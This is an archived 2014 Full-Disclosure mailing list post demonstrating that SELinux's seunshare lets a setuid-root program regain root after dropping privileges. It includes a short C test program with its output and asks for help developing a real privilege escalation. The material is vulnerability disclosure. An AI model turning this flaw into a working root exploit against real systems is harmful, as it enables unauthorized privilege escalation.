full-disclosure - [FD] Request for help exploiting seunshare

Open Source and information security mailing list archives

Message-ID: <CAObL_7GKAByS9==XY0Ctk-acYZr5RTPT9K5BYos7-OmjjoCQ=Q@mail.gmail.com>
Date: Wed, 23 Apr 2014 15:08:09 -0700
From: Andrew Lutomirski <luto@....edu>
To: fulldisclosure@...lists.org
Subject: [FD] Request for help exploiting seunshare

Here's an "obviously secure" setuid root program:

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <err.h>

int main()
{
  if (setuid(getuid()) != 0)
    err(1, "setuid(getuid())");

  printf("Dropped privs; real uid is %lu and effective uid is %lu\n",
     (unsigned long)getuid(), (unsigned long)geteuid());

  seteuid(0);

  /* Do something that risks executing untrusted code here */

  if (geteuid() == 0) {
    printf("It's baaaack!\n");
  } else {
    printf("Phew, safe.\n");
  }

  return 0;
}

Install it setuid root and run it.  It prints:

$ ./sesploit
Dropped privs; real uid is 1000 and effective uid is 1000
Phew, safe.

Now try this:

$ seunshare -t . `realpath ./sesploit`
Dropped privs; real uid is 1000 and effective uid is 1000
It's baaaack!

IMO this is bad.  I'm looking for help finding a real privilege
escalation based on it.

The underlying issue has been public for well over a year with no real
action, and there's even a patch:

https://bugzilla.redhat.com/show_bug.cgi?id=885288
https://bugzilla.redhat.com/show_bug.cgi?id=1035427

--Andy

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives